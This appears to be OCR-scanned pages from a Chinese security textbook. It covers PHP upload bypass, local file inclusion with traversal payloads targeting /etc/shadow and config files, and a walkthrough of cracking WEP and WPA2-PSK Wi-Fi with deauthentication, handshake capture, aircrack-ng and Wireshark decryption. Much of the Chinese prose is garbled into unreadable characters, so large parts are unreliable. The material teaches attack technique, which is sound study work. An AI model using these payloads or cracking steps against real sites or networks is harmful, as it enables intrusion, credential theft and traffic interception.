if(Serrorioccured I= true)
{
if (move uploaded file ($ FILES[$whichfile]['tmp name'],
$user dat['usrdir'l . "/" . $ FILES[$whichfile]['name']))
{

rename ($user dat['usrdir']."/".$ FILES[$whichfile]['name'],

$user dat['usrdir'l . "/" . $split img[O0] . "." .
strtolower ($split img[1]));
/| BRELANRIE
2>

IR HH 7E Jim 28 W Alrename R L, SE5RF — T e 4AI .

if ($split values[0] == strtolower($split img[l]) && $split values[l] ==

"allow")

2 EAExx jpg.phph

$split values[0]=xx
$split values[1l]=jpg
$split values[2]=php



4R REFH—DRTRA 2 ////7////éc

BT LLF5 Bifif 4] 35 %45 I WrSsplit_values[2], KIplizh%eit, ik Arenamerfi %,

rename ($user dat['usrdir'] . “/° . $ FILES[$whichfile]['name'], S$user

dat['usrdir'] . "/" . $split img[0] . "." . strtolower($split img[l])):

X B LK 2 1 B4R * < jpe phpe§ & A * % jpg. (HARErename ki 3UFF1E, 9 =k FAER
AR, Blinxxjpgphp, BEESHNRIE, 22 4L hx<ipg, BFE K< jpgtl 2
fFAE T, FrUlaksh B4% T x> jpg.php.

AL R PHPH I — A, L 45 AR L getshell, HEFEWA. i
20 RGN ? B E L FEinclude().  include_once(). require(). require_once()+
fopen. file get contentsiXLE I AR E L. BN SR BEILIE, SEIHEETTL
WEAT R OB 2 30, ik 2Tt H 1.

471 RiEAMKE
A AR

<?php
if ($ GET['dir']l) {
include $ GET['dir'];
} else {
include 'test.php';
}

>

X B A B4 N % A AR A F S S R R shg . (ERAX Bdich H P, B
A LR AR RO . T R A ot SR E bR — B A PHP GRS s
Wupload/** jpg, Fi/j A 2dir=upload/x* jpg, A2 EEANDH 2B 5| A\ S5 XA AT,
Mk BB H 1

LN, RS HFMURTEE HAERSCE, tTla s — i &t

?dir=.htaccess
?2dir=../../../../../../web.config

?dir=../../../.. ../../../../var/log/apache/error.log
ef../../../proc/config.gz ( TrootiNfR )

ek /. /.. /etc/shadow ( Eroot R )

~N N~
~ N~ T~

/el
?dir=../../../../..
7l

2dir=../../../../..



e\
AN mEsmemAEn

472 ZHIRF
TESRbRIFR T, FFREN TBRRHE, MAAMRRMT RSB, WF B

<?php
if($_GET['dir'l){
include ("inc/".$ GET['dir']l.".htm");

}

?>

MIXHFTLAFE 2], FFREX HF MR AT 76 (BAMIRT LA Rt gl
St H FAIPRE], 7R %008 Brseil 3 54 BR T . w2die=./././././. /. Jetc/passwd, M
LB RS

FE: %004, 57 % Zmagic_quotes_gpc=off, PHPH&A > T5.3.40 F #E 5230,

B, W B, BGH AR RS RS, e KRR (PHPRA /)N
F5.2.8, Linux FXH 4 KERKF4096FH, Windows FKERKF256FH) « 5 #H
(PHPIRA/NT5.2.8, HiEH TWindows& %, M-S KEMKT256FT) F.

FRFE—BOY B R AT I A .

<?php

if($ GET['dir']){
$str=str replace("../","./",$ GET['dir']):;
include ("data/".$str) ;

}

?>

Print.php:

<?php
echo "test";

2>

X B DEARIE R Fstr replace R EUE: . A& k. /, MM EE LEA . /BrHEZRX. &
o IR, B AR, FTUA X RIRRRCT ., AWBkHE T H 3. E A
$2282dir=__ /print. phpEt, FEEKIHEL & T (.

MR EE R E4-23 17

€ @ localhostjtest php?dir=..Jprint.php

INT ¥| = & SQL- XS5 Encrypton- Encoding- Other-
@ Load URL
8 split URL
Y Execute
[”] Enable Post data [ Enable Referrer

test

El4-23 S&aAih x4



4R REFH—DRTRA A ////7////éc

473 EEXHFIEE

file get contents/Z 5 WKISCAF BB, AIRICHAN SR A—ADFRr BT HTRE .

file get contents(path, include path, context, start, max length)

Wt R A THE S E RSO, BRSO AR, i 2| Bed B i, flin
RN — SR e I B 5

SeRE —BAD:

<?php

if($ GET['dir']){
$file=file get contents($ GET['dir']):
echo $file;

}

?>

24 2dir=/data/web.config, &5 1K 4-24F7 7.

| € @ localhost/test.php?dir=data/web.config

= & SQL- XSS+ Encryption- Encoding Otherr
4= Load URL
% splitURL

) Execute
Enable Post data Enable Referrer

test

El4-24 BRI 4

4.8 AGhEG;

BEE M LI &, Rk, BURFMIEE . AN A2 AT T8 P 5 1A 1238
FHOREIR, BEIEITRBESAL. Baeth, RZIHAVE MR TR I AT DUE T
BFRAEEE T Ao ME, I ARATFRRGM K, REel. BiFtagFee
MR DA JTIRR AT s 8 . R, JFRRAF e BAI0hEE. ihE
HPHPH 2 H], PHPTEJFIE 7 ok R &, 1K B LA/ T8 ZOR SO U B o
25 .

EW I — IR, EENMZERe R, BREAHRA M -E2REIE, FERET#®
BN, R T 2R E, Iar Ll ERE i Tbypass, — Hbypassp D&
ek,

fEF I, NERIR R RENZE. T rESHER, DR St
Bl [ ENER, B RAMESEH K-,
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x4-1 BRESHA

%z W a X
$ SERVER MRS PR R A
$ GET Wi GETH AL s 4 A M AR = # 4
$ POST i POST i A fe i 4h M A [H X B 30
$ COOKIE CookieF EH (41
$ REQUEST TS GET. $ POST, $ COOKIES ¥4
$ FILES A AR
$_ENV I 4

HEFI S, BA DT AT T JLIRE R, FERAEARRNEN, 2T
MRAH MREIR S, AEPHPH U, SERMKNEREERIE S riEe—, HRH

e i R B R 4-2 TR
F4-2 BRBREH

# R & X
phpinfo() &[] PHP I H {5 B
exec() PAT SRS MB TR &
eval() HATPHPATE
system() PATSNERFE P, I H SR
shell exec() PAT AR PR A B4R 4, Hexec()FSML
array_map() B P B E SR EAER
include() REIFZAT AN R
include_once() REUIFIZATHMER R, SincludeZS 1L
require() AEHE, HincludeX H & — T iHkiz 4T
file get contents() I SN
file() R A
proc_open() PAT =A%, T HIRE
extract() S OFENTEBITES

EFEREFY, HREZHE ZRER. TUEZ—T, BullEGREZHMNTEE
Wk, H—IKHEAT AL, ML HIRE. RS Embt, 8—R3d 5wk
17, BREAE—FREB, FAXMMRRMRERMERS, ERXPREFRERRGPEEE S
53/ 11N B S = S /@) M T+ il = ) A N e e R e < 0] RIS Sy

LRI T LRI A A TR R IX L, B R4 AR % . CSRF. “FAT
BLBR . Cookiel ilF 81t %% .



)
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Todk 2 T 2 H A A B e BOE I — AN T, T8 I AT Y 2 AT BL %
18, Webln @l HREMRSSE L, REFIHETFEKNEHEEHRER, HEEZeE
&, ARG L.

AEMNZAERIN T LT Se, NEAREATF, REUIANELZS, BARTLEEE
i E LN S BB RSN T 2R PSRRI 48 Bk gE BT 7E DA &
TIREFI A Ak BE R0 T BEIEE LR PN AR BIREURME; 220N H
iR 1) VG TG S 22 4 St P () &SRB N R TR 465 it o

AT LB MR L, FTREXER A R U B, S AT AR AR T AR
BAT T3 BEIGEB AIR, AT S FEMapers netdF 45 5 HTAH S ATREL RE

5.2 KR EEILARGAE

E&ZERPRLELEFZe. —8R&TIERELHETINREEY, H—6kE
2 ERAE S, RHMER. ERXEE RSP RN G R, B
AR PR ATE— Ve A — RR LR N BIXANME S, Xl k%2 a N
ARATTR: WREHE SO NIRE G aff o rik.

521 %R

KL FTEA R R TEE R NFEHETH, AT RS MR E S EEA
I, XSO E W, KB . BIENESIFE ESPE, FRRBAARE
2. RERAGHFASENRERBIES, AR ERITREN, Bar AR A TT i b
DUAT IR, RRIRAEEE, XA RGN “Esima” .

522 mMES5&HE%

BERH M R4, IEEMEREMEALR T . N RS2 KR mg, LA
Z PR BIERE A ESEA LT IAE, BEEPARERE RN ASET nsid
FIEth R AT RSIR, 1 TR E B GXBAE IBREILNH R AR Ty ut g i a]
&) o FTLUNEXFERIE, ELLERXMEEZE#THEm T, REREM—EEE
T g, BEAER A RZSN. WWiFEA g, HEREH T % HvePNe &
RIS BRI, B4 VRFNZ M 3k 2 8] B R R 4.

F BRI AL — B AT B . s St R F e R e Hd s 1) it f e
PrdT RAA B SGH RRTrid. H WHTIN# SEA AES. DES. RC4. RSA%,



| #5% %%i%ﬁ%——m%%ﬁ%ﬁ%?égg%%%éi

523 BIERzxS5

T %A I L AR Pl 2 B R e RGN R . Windows R8BI A N FHRE T
BIFHEESEAR AR, #8575 68iE I Windows APPSR SEIL 588 {4 128 ., LA
2 FAZEWindows F# N -F#EA MM (Monitor) RE&EZ—FREMERZE. HTFXNNEE,
BT RN FMIET Linux RS . Linu/ZFFIRRS, BAHEGHFFBME, B ZHA T
BEMRAA . LT LK Aircrack-ng T B E 4 B AR 145 Windowshii A, (B2 A# 3+
AT E . Linux B 1) 28584 2l — L2485 52 R, Hlleth0FR /RSB — PN LEUKIN R (A
R P RRFEEFHOCRRRE—NR) , oRRER CXRE—AMFHRN ML,
F/nEl %, fELinux T ¥ping 127.0.0. L 238 il iX /N E L 4% 52 & SEIRIKTD o TRk W R0l
SPbRE Hwlan0, BZIEFEN . 48 H TR MR Amoniter B, M-RARIdSAE R
mon0, XRLinux FH&&4, IS 8T /8 B Es i Hizw &4 1ER
LHXN % HTLinuxB A &KNRERE, BFS5EAERELEFERGENERIE, H
A AErootBfR, HfErooti fR FHAT LIS FNNAEM (KalifIBT R &L HKZENRX RS
THE AR Zroot) - XBZEFHEAUbmuAS FMEEE S HOWHE, JReFEE
AL AR T T H ) BackBox. Kaliff#48, XX FARELinux K TR T {E.

5.3 LUK A

53.1 HiR

DN RS B O st 2, X—WEENMA LR ELE R e, ANER
WEP. WPAIL & 8 £ #7730, #ual e Sk, — Binas Sk I i sl
FHBB R EEEHONESEL , — ISR T Tk,

H AN TR ) 2 4T LLUL AR A2 ZE T N2 SR, B I I A 6 S n % Sk
OnfEAERARIKES) , JEREI TAXNFENE Ol H—x %9, a4
—A, RE RS ) UALUMDSHEE ARSI . FAF TAEN,
A MEA T SE I R A AT e PR TN # @ 5 . HTTPSIn® 38 575 2 LL A OpenSSLA] LA
YRR AR REA, AN A (R R M %4 HEERIF.
MDSHEIEAE W5 J5 & P SEI 7 e 3T 250G S AU (Rl B AR A7 P s, fRAE T
5 BHI%4.

TSR HAT R EBEN, HRRRBUES, EEW AW TL M ERSE
B, —ARFAWEPIN®, —AKHWPA-PSKINE .

Tips: 4R kA B Ak S Linux 2 %k %3, TeA£iX AU B shBackBox 5
BEMRKAL, wRITHZERIHLinx R %, E5 R 2% 0350 — 23w
&, LinuxkR AT AR I A%, RRONEFAFERIRTREEZLAHUE. AT
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FEre 3 E ¥ 35 MR IR0 4, T vA BL4E% % Kali/Backbox 2, # & T Ubuntus 3 77 %
I, FHIEPMTF HLinux R LHERLAHGNEMF, @I5ExpressCard M -F4 R iﬁ,
R fgfE AUSBA F .

5.3.2 WEP

WEPHMUEFIRCAMNE, RCAARRE—FRAMERIL, HREERBALFT, 2H
ARG R, HRHESRAZ S . WEPH) 5 i i# t flShadowSocks H ff FIRCAIN % 1)
A PEARIER] 11X — . RC4 ERUINEFTILK —Fh, [F—MFEHEAREEHMIK,
PSR (BRARZ AW SCRIER) IV B H KR il ER: (H224bit (3 Byte) )
IV SSFERK T, TEMET M e B3k = A=, mmH IV B8R B TR
% B KRR E . RREE A o8, RCAFIEFERMEIHAT 7HTHL (E
), A HIEREE, mEaEnTH, XEARCAEEINA R —FAZENEL, KA
T RAFAKE. EWEPHRFEE R Z83K 2 W 2 r8EE t s T AR 2% 41,
T4 F 28 AR I mT CL T A B I B .

(1) T %y

(2) #iAsudo-i, RGP/ ALnuxBEH AIK . FiL, #EIERE GaAE
IR B AR B REESES, HAMGERELERHE) , T —ITadIFkKss
AR LD (BERTF CARAA K 2B P B .

(3) % Aapt-get update 5 7 5 AF IR «

(4) %iAapt-get install aircrack-ng (GBFEMX RS ZHE )

(5) ST MW -FREAREH, fEHfr&iweonfig, WIRHI T H—/MW-RGHEHA
BV G RE I E A7, X EZwlan0 (AES-D .

root@bronco-U315G: /home/bronco

root@bronco-U315SG: /home /bronco#
root@bronco-u home /bronco#
home /bronco#

@ home /bronco#
root@bronc home /bronco#
ot@bronco- home /bronco#

SG:
no wireless extensions

no wireless extensions.
no wireless extensions.

IEEE 8062.11bgn ESSID:"c103"

Mode:Managed Frequency:2.462 GHz Access Point: D

Bit Rate=45 Mb/s Tx-Power=15 dBm

Retry 1long limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=46/78 Signal level=-64 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:e
essive retries:105 Invalid misc:27317 Missed beacon:®

root@bronco-U315G: /home/bronco# [ |

El5-1 iwconfigiy £iRElIE 8
(6) BM-KistwE b iEEA, % Aairmon-ng start wlan0 CEwlan0%5 3% 4 R {# F
iwconfigZ 2| ) FB) , WES-2FR.



root@bronco-U315G: /hom

Found 5 processes that
If airodump-ng, airepl

a short period of time,

Name
avahi-daemon
avahi-daemon
NetworkManager
wpa_supplicant
dhclient
Process with PID 1018

| E5E ELRLER

w/— o
YERRe I'I////7////bﬁ

e/bronco# airmon-ng start wlan@

could cause trouble.
ay-ng or airtun-ng stops working after
you may want to kill (some of) them!

(dhclient) is running on interface wlan@®

Chipset Driver

Atheros athok -

[phyo]

(monitor mode enabled on mon®)

E5-2 airmon-ngfr & EFHIEEER

Link encap: RIFE E{itbil eo-e08-ca-9

UP BROADCAST F!UHNIN(. MULTICAST MTU:1500 FRm#:1
EWHIES 6 HiZ:0 EF:8 113:0 i 0

RIEIES 0 fg
fitE:0 &IEPAFIKE
BUFT:1428 (1.4 KB)

EF:0 id#:0 FHil:0
fE:1000
AiXFT:0 (0.0 B)

E5-3 EmEZEM-FAETEXEMEFINER
(8) Z&minidwep-gtk. HHBENRREE B T IXANEM, KA R A RS

UWHIKE, fEENZEFEAN ES5-4F77R) .

Wireless Cards ~ Bssid Essid PWI
| wlan® v )-23:CO46:81:78__TP-LINK_4(
fwian0 intes 3100
hwlagn - [phy0]

0:23.CDB5:4C SA__TP.LINK_B5,

54 EB.FC-ID4AI2__TP-LINK_:

Channel
LAl -
Encryption
| wep v

Mode seiecod
¥ Aweplay-ng -2
¥ Awepiay.ng -3
) Aweplay-ng -4
1 Awepay-ng -5
) Areplay-ng -6
") Arcplay-ng -7
Injection rate | 55

| 500 v

1C80:89:29 8ADA__BMW -12, 1

DAA3:256E:C4:3E_ ICS_DBVLMIUW_G87 L 1

R CH ENC Client AP MAC: 54 4A:32
Essid: TP-LINK_3. ]
seikey 00 | Iz
Key is in file fmp/54-E6
~32_key

85__6__ WEP__

__6___WEP__FO.T

ﬁ!

WEP__OC

Abort

Exit

E5-4 minidwep-gtk R

(7) f# Fifconfig A M- O N, 784 bk Aifconfigiy 2,
FlmonOF I ML &, WES-3FR.

00-00-00-00-00-00-

HAER

KL RDE

(9) ff Fminidwep-gtk HAFEWEPE L., HTFWEPHAFIMNIEFE, (EEHEMAEWEPH
HHBRWAR S, LEAZMeAzsh TR, WA RE R, FdiScani¥ R WiFi,

HEFE N T A WEPH)# S,

HEFSWE, BILPREEALERIEWNT .
DAL R WEPE IS 7% . TR LA N fay #, WEPIKFE 1 0% 77 2U7E =0

(2 s O AR T A

SRIG ¥ diLanchi% 4l (NiZZLaunch, HAFITEFET) ,
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5.3.3 WPA(2)/PSK

WPAFIWPA2 EILZE EVL MR FP N % 7k, XFmE AiElsrM A G RE N Z 4
M, ENASH R HEN T MBS, TEMFARadius RE25 KT H S/ fF
FRaidus ik 55 85 0N IE T AP B 3 FF I — 4 R 7 i B VE AR S5 25 R TE, A IR
JENCH B, UGS, BsE e, dar bR rk. —HREPERT
M543 VAL, MRS 85R BIF BEE NG BRAPLE, 2ME FmiEdE LT — 1 WPA/
WPA2IAIEFJAP. T Radiusfi 45830 & KA MR RS A, ENANHS, @HEE
FH WPA-PSK BL # WPA2-PSKAE N I % 5 vk, PSK)#E M8 Epre-shared key, BIfiifLZ%
B Tt R AE P U R 2 iR O RS R P, P B RIS 2 S S XA
T RIEB S

WPA2FIWPA X HI R &L, WPAFMIWEP—REH ] TRC4E %, (HRWPAE
TIVIIALE, FRIVinizEAWEPHFHAKSEE, HEIRMHERIVERLER T
WHe . FIRZAERCAFIEFIZEER FAFNRSINT BIE) %4 (per-packet key#HLHI)
8 R IE W B SR A AR ABA . FHESEZREITATEEEZ
G RSAERETFEFER . FFUWPAK M BHA NN RETFAZ G A REREH
W AR A B L, B IR AR T B BB T D . AR WPAKIGRE 2 N BRI
A2, FAEFIEE ARSI T RS E MRS R, 2K
R —HMER. ZHEMNZHEERWEPLEERE AR, 1EFEAIEENTCPURE—HIE
WIZOHE (W RFAEH) , FTLLEE &M HE REE T 1MFPGATHH R R
W ZEAG

WPA2 RV FHAESH % . AESAZ @ RN hnit, A2 — P b s 5im 5 760 i fode 8 25 00 v
TDESHIH %, AES1287C AESHRAE A7 10 25 5 B S 1K, (EL R IR 10 o 285 ik J3E %o 8 At ik (1)
FERCEEBARGET, URREEMARE CARPREHIRFEESIERAD .

MAEWEPH# SH CAEREPRT, BIEFTR, —BMAZEIEESNE, EAEFEWPA
e, MASEEWEPKFINE R XA m AN FF AR L 1) 7.

WPA(2)-PSK N (1 u filt CEE 2 AEH AR, JaRHTHREZERE (WPS/QSS) ik
HIR, AT DMERAR R EINE N, (HEARRBAL S 7 7E— B 5 & I e BB B i
fift, M ERREE THELILADE, ST

AP E G R EMA IR WA BN, EE5 NN WPS/QSSILTE LR BB I 2
HRAEAME, TR A LULRET LS E NS, Hx B R IETFa
{578

T A WPA(2)-PSK W25 IR AR V8, B HEMNM RN T RPERZ 5 TG
5, WL MZATHA B AR

(1) {i Hairodump-ng mon0EEF i KIFTAH LE ML, FHIRDEAER (WES-5) .
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ARsmERRS L S,

E5% ELRIER

root@bronco-U315G: /fhome/bronco

CH -1 ][ Elapsed: 5 mins ][ 2015-82-27 12:08
PWR Beacons #tData, #/s MB ENC CIPHER AUTH ESSID
12 0
165 43
2555 3732
3

54e WPA2 CCMP PSK
S54e. WPAZ CCMP PSK
S54e. WPA2 CCMP PSK
. WPA2 CCMP PSK
WPA2 CCMP PSK
WPAZ CCMP PSK
OPN
. WPA TKIP PSK
. OPN
OPN
OPN
OPN
54e. OPN
54e. WPA TKIP
S54e. WPA TKIP
54e WPA CCMP
54e WPA CCMP
S54e. WPA TKIP
54e. WPA2 CCMP
S54e. WPA2 CCMP
54e. OPN
54e WPA2 CCMP
54e. WPAZ CCMP
22e. WPA2 CCMP
54e. OPN
54e. WPAZ2 CCMP

<]
00000 O

(<]

ng-Free

ey

H RO ONORENWRSRG

ng-Free

MOy NNV ~NAN D

6
3
2
3
3
2
2
2
2
3
|
2
(]
(]
5
4
2
2
3
2
1
1

o000 VOO LOALAWNWNODODOOO

[Nl ool llolcolollcccoolcl]

HZ N A D~

[

STATION Lost Packets Probes

o
w
+
[i']

associated) 38:
assocliated) A8:
associated) 00:
associlated) 68:
associated) 34:
associated) F8:
associated) E@:
associated) 60:
associlated) 48:

BOCOMFree
tencent-chaowifi

NN L =D

Tenda_4E9088

Q000000000
e el
(<M< << BB )

[

E5-5 airodump-ng5EHE
airodump-ngff] &5 R FEE I 0] [ HESE SOk Z, FIm—ASREAPHER, THE
R IE R, M ERAPHIAE T B —A SRR T D Cul+CA S BT T .
X H 25k c 10350 2 A 1 H AR
(2) idx—F HARAPBSSID (MACHIIE) RSB (Bhibhe6) . RJEHAT
airodump-ng -c¢ #MEL --bssid macHihil -w CRAFHNEN A AT SO 42 mon0, 4N 5-6FT7R .

root@bronco-U31SG: /home/bronco# airodump-ng -c¢ 6 -w miaomiao --bssid D B:B3:E7 mon®

E5-6 airodump-ng#n% =l
SR JE et o 3 N an B S5-T R i BT

6 ][ Elapsed: 56 s ][ 2015-02-27 19:35 ][ fixed channel mon@: -1

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

:CO:CB:B3:E7 -66 100 331 6556 20 11 54e. WPA2 CCMP PSK c103

STATION PWR Rate Lost Packets Probes

00:08: :CD 0 1le- Oe -] 3193
CC:FA: BB -41 5e- 5e 46 3950

E5-7 inffizaYairodump-ng R mE



T\
AN mEsmemAEn

EHBFRT EARSHI—4BSSID, T AKMGEBRECE YT EMNE FiniE, W
RBARIE o WICVEAT S, 2RI T & i 2 5 il v] LAEAT B RO IR AR T
To ES-THRE AR REEENTFI, FTHEZBMAHERSE, HAReMAPZ
IR R .

(3) FFE—AFr&em GRErootB R ) , HEATHEM IS, %iAaireplay-ng -0 10 -a
BSSID -¢ & F ik (stationF) mon0, WIE5-8FT 7.

oot@bronco-U315G: /home/bronco# aireplay-ng -0 10 -a DO: -c CC:FA:
B mon®
Waiting for beacon frame (BSSID: D E7) on channel -1
Couldn't determine current channel for mon®, you should either force t

e operation with --ignore-negative-one or apply a kernel patch
lease specify an ESSID (-e).
oot@bronco-U315G: /home/bronco# [

E5-8 iF&itEHl7E/# Raireplay-ngft< HMAYE) &
SR LT AN, R VA O R R AL FE ) N R AT fiE 4 5 B lmon0R (R4 A -1
(AFLERIABD , B4R R a] LU B --ignore-negative-one Z B IX AN ) @l . $ATHINE &
HILan ES-OFT R E I, SXEAT LT F—2, mUARERESIRE, EZEIRXILK,

oot@bronco-U315G: /home/bronco# aireplay-ng -0 10 -a DO:C7:CO:CB:B3:E7 -c CC:FA:
:BB --ignore-negative-one mon@®
Waiting for beacon frame (BSSID: DO:C7:CO:CB:B3:E7) on
Sending 64 directed DeAuth. STMAC: [C F:BB]
sending 64 directed DeAuth. STMAC: [ F:BB]
Sending 64 directed DeAuth. STMAC: [ “:BB]
Sending 64 directed DeAuth. STMAC: [ F:BB]
[
[
[

nnel -
EL

| 48
|31
9|31

0| 50
2|44
|30
ER
|33

| 58 ACKs]

N

(<] r‘ WONOO~N®WYW

Sending 64 directed DeAuth. STMAC: F:BB]

Sending 64 directed DeAuth. STMAC: F:BB]

Sending 64 directed DeAuth. STMAC: F:BB]

Sending 64 directed DeAuth. STMAC: [C *:BB]

Sending 64 directed DeAuth. STMAC: [(C F:BB]

Sending 64 directed DeAuth. STMAC: [C “:BB]
oot@bronco U31SG: /home /bronco# I

B5-9 aireplay-ngI & B IR O &
(4) frairodumph) &35 BAZCrl+CH S8 45 R BERE, AR /5 Faircrack-ng %% . %
4 aircrack-ng -w 7L 3L -b bssid#tihl cap X 44, wES-10FT7R.

root@bronco-uU31SG: /home/bronco# aircrack-ng -w doufugan.txt -b DO:C7:
miaomiao-01.cap

Lo L L L R L R L L L
[

E5-10 aircrack-ngfn < =5l
R ACTE, mES-115TR.
Atrcrack ng 1.1
[60:00:00] 4 keys tested (339.76 k/s)

KEY FOUND! [ (@) 1

Master Key : 28 Fo u9 3-1 80 F3 ] ES

Transient Key : 1E BF BO C5 00 47 A6 37
]
20 3

06 o

EAPOL HMAC : FA 5C BE OB F7 70 8F 94 98 DC 5D

E5-11 aircrack-ng/B# RS IR EE B
© e, RAFRSEFOETEN.




_ 1/ 0
5% EARSUM—WEREMERRE L)/

LA AT A ) B R IE M AL BN T, AR T A R .
BL_b 5l A iR WPA(2)-PSK 35 [ 4 i 72 .

5.4 S EL

541 HEiR

KEBEFENFBET, SRR BRZEEAS . AWEHEEREEEBEL
SRS iguiuyL ikt P L ar e P b e T e L RSN s P P S D R
BN BB FBAT T T ik

542 MEMESIE

WEEILT, KZHANBEMITLMEATRRARAT B, W2k E T HAUR,
(B R RE MRS —ER RN A CE N RERMSIREHITIT— DR R
oL A AT LARIE AR AR K5 AR CHDA T MAMBEENAT) |, MTHEA A KB ER B .
ZHREREE < HREAL TZEREAPTH, RN HEACGR AT LLERARA R H, 1
RPTBUE R . MR AR DEAMX DGR SR 28 B, R RS 5 R % 4.

543 RN

REANESKHA S —F LN WREE TR, BEELLMN+ SR M. LA
FIf# U T7 SR H3CIRHEIIMC Portal. 23 TAERIHL T R T 1XE 77 LR SEILR M )
EH, M EE LZMEE, KA eI Internet Fz Ho At [R5 488 R9 - S U ) AR,
ping#fping il . #HBETLAL TBENSRETER —SALMILE GEELTHELD BHD
TERE R TC R PP HEB, i TodineZEDNS %% T R, B wT LU FIDNSHEE %7 % W
B, MIMBEAPIRBIER B . DNSHlIE R LB RN R, XEARMGE LE, BEFR
DNSIEEH AW EE UL A CER R . AIMBAREERIN— B0 ZIPve L, MIPv4
FIEHEBHMEARTIEFIE. XN, HEHESBEET BN RRBEATSE (PRI
RN, BRREELR) », BEIPveREIPvARIRARS 28, M SEILREAUT EHLELIPVE 5
BEIFF R A RBR, FRBANM, EANRBENE . Bd#—#5tHntel Galileo
Gen2/E Ak, LK EBeagle Bone MM &)K. IPvoiCEEAR S A5 LB MERCE, (HEOCEH
R T BAFTET o

BB TRA BN LEMEE, —BRNLEAS AT TEEG. B FHLEMESE
B, AT DATEAIE R E LSRG L NS, ERMEERE AR (h P8R Atm
WEBRANE, SR ERERE BRI , NmsRAGUEAN A M &% 560 .
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U

RESRERAER

A SCEAR T B R SR8 TR B Ty AR T LU FH 2 i 16 ok A R N M W
B, SRJE T Wireshark JEATHE BN 7 .

FILNESFERIR—T: Wireshark 75 2 FHrootAUSR /3 3, 7 WV W A =X
PR RGEAE, IEHORIM R BUELE 1A T 0 H AR AR R b, i BB B AT BLE R R
fEIESR H A #  [F) I 3EAT W0 (AT RESSHT i), fn R0 6 7 S I 0 T LA 48 31 AR
[F#B I WiFL, #lan2 B ST A (ZR)LIRBSEZIERMER) , RiEHTR
Wro SXAP VT LU AEANRE AR 5132 I R I AR HERE IS 2 M R 080 BL . Wireshark ERIA
H BRI — L2k IR R AN A Z T e, FHERANAESER (FIW7EHTTP
e AU E PN WFHETFREFH—ATFR, WES- 120K, 7 %7 FEnable
decryptionJT %,

Fiker: | http
il

Reassemble frazmented 802,11 datagrams:

L [ 1gnara vendar-specic HT clamants: |
083 3472 | MDFSDATA & =
008 3508 HNBAF Call subdiszactar for ratransmitt od 20011 frames: [0
3000 3508 | epi ML

5 Ao packets have

g: 32 HPEEEDS i
062 asal | HTTP Ignore the Protection bi: @) Na Yes - withaut IV o - with [V
7183 8610 nc Enabie decrypuon:
7257 6768 | wces B0 s e
123 8950 e Hey examples: 01:02:03:04:05 [40/64 bt WEF ). brTps1.1 GET
M (0203040506070ENS101 111213 (1041 280t WEP),
0wl MyPasswor LM yAP] A+ plaintext pazsercrd [+ SSIDI,

7566 o000 | TEEEE02154 102030405, .. G061 626364 [WPA + 256-bit key). Invalid keys will be ignored.

7584 0024] | TEEEBOZIAN Decryptian Keys Ed..
TG NI iFcp
T7IE 91388 IMF
THT 9628
7E14 92368

meF

7w spggy  rEand Binamansizzy

7922 93,44 Infiniband SDP
851 12548 1pDC
B127 M5 paneca

B186 95.021 - gf=index Ipho
Pt
ISAKMP
15051 -
— |GG TR f—
0010 10 6 85 — -
. EBR) B w2 |§
Fra man] S
EX IR X
& @ % File: “stmp/wireshar_peapng_ mand. Packets: GB7 - Displayed: B4 (0.9%) - Dropped: 1 (0.06%) Profile: Default

El5-12 Wireshark$TFF ine S #4575
Z JeWireshark & Z2 3K H 5 — W, 4% R AT I W 2 5 st T LB, F B 50
7 . BlanEFilter % Ahttp 8t 5512 1 Apply fif AT LA K 255 7T LA%E 5 B O H T TP
A, MAS RS, RAESRMES-1307R.

XC Q< >3 TF4&[EE gl §EEX @

Filter: | hitp v | Expression... Clear Apply B

Time Sourcs Destination Pratocn Lengtt Inia

8852 59620043000 152,168.43.210 115.220.21014 HITP 707 GET /static/newstwebap p/ medules/gmu_2283Mbb js HTTP/1.L
BE56 59 BAA01000 192 168 43 210 115239 21014 HITP 08 GET /static newstwe happ/ modulesmain_c64i7a fs HTTP_{
850 00.6604B0000 102168, 43.2110 11523021014 HITR T3 GET Jstatic/newshwabap p/ modules/lib_1o85k55s HTTR!1.1

8863 99.675501000 115.239.210. 14 192.168.43.210
868 99.692313000 11523921014 192,158 43.210

75 Cantinuation or non-HTTF traffic
1452 Cantinuation or non-HTTP traffic

H320 99, B23TES000 192.168.43. 210 221.228.17.152 550 GET /taolbarffshaw. do7me =0, 729624 2050360888 HTTP1.1
522 99, B2S576000 11523921014 192.168.43.210 HITP 215 Cantinuation or non-HITP traffic
9004 100.07E38600 113,230 210,14 192.108.43.270 HTTF 1484 Cantinuation or non-HTTF traffic

9121 100.28557100 115.239.210. 14 192.168.43.210 HITR 1454 CONKNUSTION or NoA-HTTF traffic
9125 10028566500 115.239.210.14. 132.156.43.210 HTTP 314 Continuation or non-HTTP traffic
3304 100.67805500 115.239.210. 14 192.158.43.210 WP 1454 Continuation or non-HTTP traffic
9306 100.68654300 115.239.210.14 192.168.43.210 [l 1454 CnKnUILIoN or non-HITP rafMc
306 100.69555400 11523921014 192.166.43.210 HITP 314 Cantinuation or non-HTTP traffic

332 101.07TETION 11323071014 192,168 43,270 HTTE
554 10107951000 115,239,210, 14

0 O (applcation/x fawascrip]
192.158.43.210 HITP 1454 Cantinuation or non-HTTF traffic

192.158.43.210 HITP non-HTTP traffic
192.168.43.210 =
2122817152 HITP 436 GET /00Ibar/mages UaKIIESUAGES 45, 0Ng HTTPI1.1

2.2 17.152 HTTP 435 GET ftoolbarfimagesitrafficalert/q_2000.png HTTPA.1
urTe a0 @eT raolbarnmagasraficalorshen. owadd prg HTTRAL
00 =001 00008302 2c 005800 ... K.
)  Reassembled TCP (25965 bytes) Uncompressad entity body (155320 bytes)
ISEPER Y
@ ¥ File: "amplwiceshark_peapng mond. Packets; 3507 - Displayed: 84(0.9%) - Dropped: 1 (0.0%] Profle: Default

E5-13 Wiresharkihttpifiteg s R



| #5% i&ﬁgﬁm——m%ﬂﬁmﬁgf$2%%%%é£

FFE, XA H AT LAY T I K WiFL, 4RFTH 2 AEZ . X s WiFiE i K
IR IAT 1 BB 8. BdiDecryption Keys/5 MW EditiZHl, RIGHEHEE—E
BB ERR S E SRR N O key, BRI R INBE B WIFLEA S HEITARE, HEdn
B 5-14f7 7%

Wireshark

Efindex_ipha

Typers.
ISCST

EEEEE

— SEPRR Y2
E5-14 Wiresharkifin BfrWiFiZ 48
